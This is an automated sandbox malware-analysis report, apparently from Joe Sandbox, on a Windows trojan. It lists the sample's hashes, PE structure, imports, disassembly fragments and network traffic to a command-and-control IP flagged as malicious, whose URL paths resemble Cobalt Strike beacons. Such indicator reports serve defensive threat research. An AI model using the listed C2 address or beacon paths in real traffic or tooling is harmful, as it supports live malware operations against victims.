00000000.00000003.1982892951.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2325663976.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2458872458.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2251319946.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2039804636.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2572561886.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel)	yZah650lHL.exe, 00000000.00000003.2251319946.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2288485933.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2058516201.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2345864498.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2021019035.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2402005752.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2306808221.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2325663976.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2364539586.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1907581606.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944932015.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2232239149.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2002388791.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2078970685.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2039906619.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2270174330.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel0	yZah650lHL.exe, 00000000.00000003.2913198165.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1851666148.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2894333153.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2440141638.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2476981159.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2630411066.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2039906619.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2572561886.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2458872458.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2495218353.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelHG	yZah650lHL.exe, 00000000.00000003.3153029603.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3191073968.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000002.4114142159.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/pixel0	yZah650lHL.exe, 00000000.00000003.3153029603.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel;X	yZah650lHL.exe, 00000000.00000003.1944793809.00000000007A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
42.192.3.170	unknown	China		4249	LILLY-ASUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583548
Start date and time:	2025-01-03 02:51:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	yZah650lHL.exe renamed because original name is a hash value
Original Sample Name:	5ed55475a1fe6c18c1a67fa8c7008661.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 15 Number of non-executed functions: 165
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:51:54	API Interceptor	12349120x Sleep call for process: yZah650lHL.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LILLY-ASUS	https://ntta.org-pay-u5ch.sbs/us/	Get hash	malicious	Unknown	Browse	43.166.134.219
	DEMONS.spc.elf	Get hash	malicious	Unknown	Browse	43.57.65.149
	iDaD62by4N.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	43.136.177.76
	Hilix.sh4.elf	Get hash	malicious	Mirai	Browse	43.147.184.0
	armv5l.elf	Get hash	malicious	Unknown	Browse	40.201.14.36
	armv7l.elf	Get hash	malicious	Unknown	Browse	40.216.153.85
	armv4l.elf	Get hash	malicious	Unknown	Browse	43.68.215.233
	armv6l.elf	Get hash	malicious	Unknown	Browse	40.157.226.86
	01012025.html	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	1.exe	Get hash	malicious	CobaltStrike	Browse	42.192.3.170
	test5.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	42.192.3.170
	A4FY1OA97K.lnk	Get hash	malicious	DanaBot	Browse	42.192.3.170
	EQ5Vcf19u8.exe	Get hash	malicious	Socks5Systemz	Browse	42.192.3.170
	EQ5Vcf19u8.exe	Get hash	malicious	Socks5Systemz	Browse	42.192.3.170
	vwZcJ81cpN.exe	Get hash	malicious	Socks5Systemz	Browse	42.192.3.170
	vwZcJ81cpN.exe	Get hash	malicious	Socks5Systemz	Browse	42.192.3.170
	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	42.192.3.170
	gjEtERlBSv.exe	Get hash	malicious	Socks5Systemz	Browse	42.192.3.170
	gjEtERlBSv.exe	Get hash	malicious	Socks5Systemz	Browse	42.192.3.170

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.240070803648336
TrID:	Win64 Executable (generic) (12005/4) 74.80% Generic Win/DOS Executable (2004/3) 12.49% DOS Executable Generic (2002/1) 12.47% VXD Driver (31/22) 0.19% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	yZah650lHL.exe
File size:	328'704 bytes
MD5:	5ed55475a1fe6c18c1a67fa8c7008661
SHA1:	4ecc93379148eefce19f8f6ded6d141f7100bbcb
SHA256:	57a370d35e41f662454ba59baeddf042cb536c75e92e6022a63de197fd1377ba
SHA512:	11b6e14c6a7eb32491f23dd36fcdca6486e5e2180b9a66be6a269782e7df26ec13eadf850074bf432ae2584996a787df2e21856af7831184c29d5d5755d5dbb3
SSDEEP:	6144:RjoxHcRTjI8tHsj/JWe59MRtJKBk7Yxt6W6/ur56jqOsljLmT:loSJTtHA759MRt8BMut6W6rGljLm
TLSH:	47649D6DB7D8A52CC4374A30B5769E5EB09703CEAACDC7C51449B9383F60A8E2C6F854
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./...."."....................@..............................p......E......... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x401ba0
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	147442e63270e287ed57d33257638324

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [0004EFF5h]
mov dword ptr [eax], 00000001h
call 00007F2D00E11F4Fh
call 00007F2D00E1173Ah
nop
nop
dec eax
add esp, 28h
ret
nop word ptr [eax+eax+00000000h]
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [0004EFC5h]
mov dword ptr [eax], 00000000h
call 00007F2D00E11F1Fh
call 00007F2D00E1170Ah
nop
nop
dec eax
add esp, 28h
ret
nop word ptr [eax+eax+00000000h]
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007F2D00E133E4h
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F2D00E11A69h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec eax
jmp ecx
dec eax
arpl word ptr [00002AC2h], ax
test eax, eax
jle 00007F2D00E11AB8h
cmp dword ptr [00002ABBh], 00000000h
jle 00007F2D00E11AAFh
dec eax
mov edx, dword ptr [00052CFEh]
dec eax
mov dword ptr [ecx+eax], edx
dec eax
mov edx, dword ptr [00052CFBh]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54000	0x8d8	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x51000	0x2b8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x50060	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x54224	0x1e8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20a8	0x2200	ba98beafce4128c14539a20f3e854b25	False	0.5734145220588235	data	6.010394259460846	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4000	0x4bcf0	0x4be00	ac1c34563f56dbeb85d2b50c8636bbe4	False	0.6249292112850082	dBase III DBT, version number 0, next free block index 10, 1st item "\017\250\357h\017\250\357h\017\250\357h\017C\354h\177\250\357h\017\250\357h\017\250\357h\017\210\354h\177\256\357h\017\250\357h\017\250\357h\017\250\357h\017\250\357h\017\250\357h\017\250\357h!\334\212\020{\250\357h\215\251\354h\017\270\357h\017\252\354h\017\254\357h\017\250\357h\017\250\357h\017\250\357h/\250\357\010!\332\213\011{\311\357h"	7.238728588310928	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x50000	0x910	0xa00	5fcc7830b4dcd602b35eeb7f1712e8fa	False	0.241796875	data	4.459688665734325	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x51000	0x2b8	0x400	f88aef14dea168f37249daf0dce04c78	False	0.37890625	data	3.2311971178670404	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x52000	0x238	0x400	6ce9e303fb86766d702ecb2b174cf348	False	0.2578125	data	2.6337753778508075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x53000	0x9d0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x8d8	0xa00	3aae8d98b4d34bad008e73a14573bffd	False	0.323828125	data	3.966749721413537	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x55000	0x68	0x200	52d79e9aecf5d5c3145d3ec54aa197a8	False	0.0703125	data	0.2709192282599745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x56000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, ConnectNamedPipe, CreateFileA, CreateNamedPipeA, CreateThread, DeleteCriticalSection, EnterCriticalSection, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetLastError, GetModuleHandleA, GetProcAddress, GetStartupInfoA, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, LeaveCriticalSection, QueryPerformanceCounter, ReadFile, RtlAddFunctionTable, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsGetValue, UnhandledExceptionFilter, VirtualAlloc, VirtualProtect, VirtualQuery, WriteFile

msvcrt.dll

__C_specific_handler, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _cexit, _fmode, _initterm, _onexit, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, signal, sprintf, strlen, strncmp, vfprintf

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 02:51:55.619195938 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:55.619234085 CET	443	49730	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:55.619332075 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:55.654558897 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:55.654581070 CET	443	49730	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:56.875539064 CET	443	49730	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:56.875619888 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.117341042 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.117362022 CET	443	49730	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:57.117618084 CET	443	49730	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:57.117677927 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.120023012 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.163338900 CET	443	49730	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:57.452617884 CET	443	49730	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:57.452676058 CET	443	49730	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:57.452707052 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.452730894 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.465059042 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.465071917 CET	443	49730	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:57.465115070 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.465137005 CET	49730	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.583560944 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.583596945 CET	443	49731	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:57.583662987 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.583831072 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:57.583844900 CET	443	49731	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:58.765719891 CET	443	49731	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:58.765790939 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:58.766422033 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:58.766432047 CET	443	49731	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:58.772175074 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:58.772180080 CET	443	49731	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:59.302917004 CET	443	49731	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:59.302970886 CET	443	49731	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:59.303009987 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:59.303035975 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:59.315124035 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:59.315148115 CET	443	49731	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:59.315156937 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:59.315193892 CET	49731	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:59.432979107 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:59.433031082 CET	443	49732	42.192.3.170	192.168.2.4
Jan 3, 2025 02:51:59.433109045 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:59.433311939 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:51:59.433329105 CET	443	49732	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:00.609662056 CET	443	49732	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:00.609740019 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:00.610577106 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:00.610589027 CET	443	49732	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:00.611712933 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:00.611718893 CET	443	49732	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:01.163279057 CET	443	49732	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:01.163342953 CET	443	49732	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:01.163367033 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:01.163393021 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:01.188194036 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:01.188216925 CET	443	49732	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:01.188227892 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:01.188262939 CET	49732	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:01.302194118 CET	49733	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:01.302228928 CET	443	49733	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:01.302313089 CET	49733	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:01.302664042 CET	49733	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:01.302675962 CET	443	49733	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:02.459882021 CET	443	49733	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:02.459943056 CET	49733	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:02.510170937 CET	49733	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:02.510179996 CET	443	49733	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:02.524283886 CET	49733	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:02.524287939 CET	443	49733	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:03.165819883 CET	443	49733	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:03.165869951 CET	443	49733	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:03.165889025 CET	49733	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:03.166704893 CET	49733	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:03.166704893 CET	49733	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:03.166704893 CET	49733	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:03.302351952 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:03.302392960 CET	443	49734	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:03.302480936 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:03.302692890 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:03.302707911 CET	443	49734	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:04.479621887 CET	443	49734	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:04.479804993 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:04.480345964 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:04.480355978 CET	443	49734	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:04.481489897 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:04.481494904 CET	443	49734	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:05.017077923 CET	443	49734	42.192.3.170	192.168.2.4
